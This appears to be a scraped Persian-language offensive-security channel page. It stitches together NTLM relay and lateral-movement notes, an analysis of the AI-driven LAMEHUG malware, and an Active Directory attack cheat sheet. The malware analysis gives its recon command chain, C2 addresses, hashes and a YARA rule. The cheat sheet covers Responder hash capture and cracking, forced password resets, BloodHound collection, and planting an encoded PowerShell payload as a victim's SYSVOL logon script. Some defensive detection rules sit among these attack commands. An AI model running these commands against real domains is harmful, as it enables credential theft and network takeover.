Post #137
3.23K
RemoteRelay_Lateral_No445.pdf1.5 MB
🔖 آماده سازی برای NTLM Relay از راه دور: Lateral Movement بدون NTLM و پورت 445/TCP
@KavehOffSec
@KavehOffSec
- ❤ 8
Showing posts older than #138 · Back to latest

sc stop netlogon
sc stop lanmanserver
sc config lanmanserver start= disabled
sc stop lanmanworkstation
sc config lanmanworkstation start= disabled
nmap -p 445 -sT -Pn <serverIP>
secretsdump.pylookupsid.pyticketer.pyatexec-pro.py برای اجرای دستور از راه دور
# مسدود کردن API LLM (اگر به طور قانونی استفاده نشود)
netsh advfirewall firewall add rule name="Block_LLM_APIs"
dir=out action=block remoteip=inference.huggingface.co
wevtutil qe Security /q:"*[System[EventID=4688] and
EventData[Data[@Name='NewProcessName'] and
(contains(.,'wmic') or contains(.,'systeminfo'))]]"
rule LAMEHUG_AI_Malware {
meta:
description = "شناسایی بدافزار مبتنی بر هوش مصنوعی LAMEHUG"
author = "تحقیقات امنیتی"
date = "2025-07-30"
strings:
$api1 = "inference.huggingface.co"
$api2 = "Qwen2.5-Coder"
$path = "%PROGRAMDATA%\\info\\info.txt"
$cmd1 = "systeminfo >>"
$cmd2 = "wmic computersystem"
condition:
2 of them
}Appendix.pdf.zip → Appendix.pdf.pif → PyInstaller executable
cmd.exe /c "mkdir %PROGRAMDATA%\info &&
systeminfo >> %PROGRAMDATA%\info\info.txt &&
wmic computersystem get name,manufacturer,model >> %PROGRAMDATA%\info\info.txt &&
wmic cpu get name,speed >> %PROGRAMDATA%\info\info.txt &&
wmic memorychip get capacity,speed >> %PROGRAMDATA%\info\info.txt &&
wmic diskdrive get model,size >> %PROGRAMDATA%\info\info.txt &&
wmic nic get name,macaddress,ipaddress >> %PROGRAMDATA%\info\info.txt &&
tasklist >> %PROGRAMDATA%\info\info.txt &&
net start >> %PROGRAMDATA%\info\info.txt &&
ipconfig /all >> %PROGRAMDATA%\info\info.txt &&
whoami /user >> %PROGRAMDATA%\info\info.txt &&
whoami /groups >> %PROGRAMDATA%\info\info.txt &&
net config workstation >> %PROGRAMDATA%\info\info.txt &&
dsquery user -samid %username% >> %PROGRAMDATA%\info\info.txt"
آرتیفکت های فایل:
- %PROGRAMDATA%\info\info.txt
- اطلاعات سیستمی
- Appendix.pdf.pif
پیلود اصلی
- AI_generator_uncensored_Canvas_PRO_v0.9.exe
- سرورهای C2: 144.126.202.227, 192.36.27.37
- دامنهها:
boroda70@meta.ua, stayathomeclasses.com
- API: inference.huggingface.co (Qwen 2.5-Coder)
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
- 8013b23cb78407675f323d54b6b8dfb2a61fb40fb13309337f5b662dbd812a
- 766c356d6a4b00078a0293460c5967764fcd788da8c1cd1df708695f3a15b777
- a30930dfb655aa39c571c163ada65ba4dec30600df3bf548cc48bedd0e841416
- d6af1c9f5ce407e53ec73c8e7187ed804fb4f80cf8dbd6722fc69e15e135db2e
- bdb33bbb4ea11884b15f67e5c974136e6294aa87459cdc276ac2eea85b1deaa3
- 384e8f3d300205546fb8c9b9224011b3b3cb71adc994180ff55e1e6416f65715
Sysmon Event ID 11: File creation in %PROGRAMDATA%\info\*
Suspicious files in writable directories: AppData, ProgramData, Users\Public
- اجرای چندین دستور شناسایی در بازه زمانی کوتاه:
whoami, systeminfo, wmic, ipconfig, net, tasklist
- اتصالات به نقاط پایانی API مدلهای زبانی:
- inference.huggingface.co
- api.openai.com
- generativelanguage.googleapis.com
- api.anthropic.com`
# -U: User credential who has the permission to change another user password
# -I: Target IP
# -S: Target server name
net rpc password "TargetUserName" "myPassw0rd@123" -U "UserName"%"Password" -I "10.0.0.1" -S "EXAMPLE.LOCAL"
john smith -> jsmith, j.smith, john.smith
michael pole -> mpole, m.pole, michael.pole
ssh dc.example.com\\<ad_username>@sub.dc.example.com
# /netonly: All network communications will use these injected credentials for authentication.
runas.exe /netonly /user:<domain>\<username> cmd.exe
# PowerShell
$dnsip = "<DC_IP>"
$index = Get-NetAdapter -Name 'Ethernet' | Select-Object -ExpandProperty 'ifIndex'
Set-DnsClientServerAddress -InterfaceIndex $index -ServerAddresses $dnsip
Set-ADAccountPassword john -Reset -NewPassword (Read-Host -AsSecureString -Prompt 'New Password') -Verbose
Set-ADUser -ChangePasswordAtLogon $true -Identity john -Verbose
sudo responder -I <interface-like-eth0>
echo -n '<copied-NTLM-hash>' > hash.txt
john --format=netntlmv2 --wordlist=wordlist.txt hash.txt
net user /domain
net user <username> /domain
Get-ADUser -Filter *
Get-ADUser -Identity <username> -Server dc.example.com -Properties *
Get-ADUser -Filter 'Name -like "*michael"' -Server dc.example.com | Format-Table Name,SamAccountName -A
net group /domain
net group "<group>" /domain
PS> Get-ADGroup -Identity <group> -Server dc.example.com -Properties *
PS> Get-ADGroupMember -Identity <group> -Server dc.example.com
net accounts /domain
# فهرست ابجکت ها AD
$ChangeDate = New-Object DateTime(2022, 02, 28, 12, 00, 00)
Get-ADObject -Filter 'whenChanged -gt $ChangeDate' -includeDeletedObjects -Server dc.example.com
Get-ADDomain -Server dc.example.com
Set-ADAccountPassword -Identity <username> -Server dc.example.com -OldPassword (ConvertTo-SecureString -AsPlaintext "oldpass" -force) -NewPassword (ConvertTo-SecureString -AsPlaintext "newpass" -force)
# SYSVOL
یک پوشه اشتراکی که Group Policy Objects (GPOs) را ذخیره می کند.
dir \\dc.example.com\SYSVOL\
icacls C:\Windows\SYSVOL\sysvol\example.local\scripts\
'powershell -e <BASE64_COMMAND>' | OutFile -FilePath C:\Windows\SYSVOL\sysvol\example.local\scripts\evil.bat
Set-ADUser -Identity VictimUser -ScriptPath '\\example.local\SYSVOL\example.local\scripts\evil.bat
dig @<target-ip> example.local ANY
gobuster dns -d example.local -w subdomains.txt -t 25
curl -L https://ghst.ly/getbhce > docker-compose.yml
sudo docker-compose down -v # If you want to reset the password of BloodHound...
sudo docker-compose pull && sudo docker-compose up
export BLOODHOUND_HOST=10.0.0.1
export BLOODHOUND_PORT=8090
netexec ldap <target-ip> -d example.local -u username -p password --dns-server <target-ip> --bloodhound -c All
python3 -m venv .venv
source .venv/bin/activate
pipx install bloodhound # or using 'pip3' instead of 'pipx'
bloodhound-python -h
# -u: Username
# -p: Password
# -dc: Domain Controller
# -c all: Collect all data
# -ns: Alternate the nameserver
bloodhound-python -d example.local -u username -p password -dc dc.example.local -c all -ns ns.example.local
# If we cannot resolve the domain, try dnschef (https://github.com/iphelix/dnschef) to create a fake DNS by proxy.
sudo python3 dnschef.py --fakeip <target-ip> --nameserver <target-ip>




Powershell
ls 'AD:\CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=com'
Certify find رو بزن تا vuln templateها رو پیدا کنی.Certify find /template:User) و EKUها رو چک کن ببین آیا Client Auth داره یا Any Purpose، که vuln هستن. این کمک میکنه بهتر بفهمی کجا حمله کنی.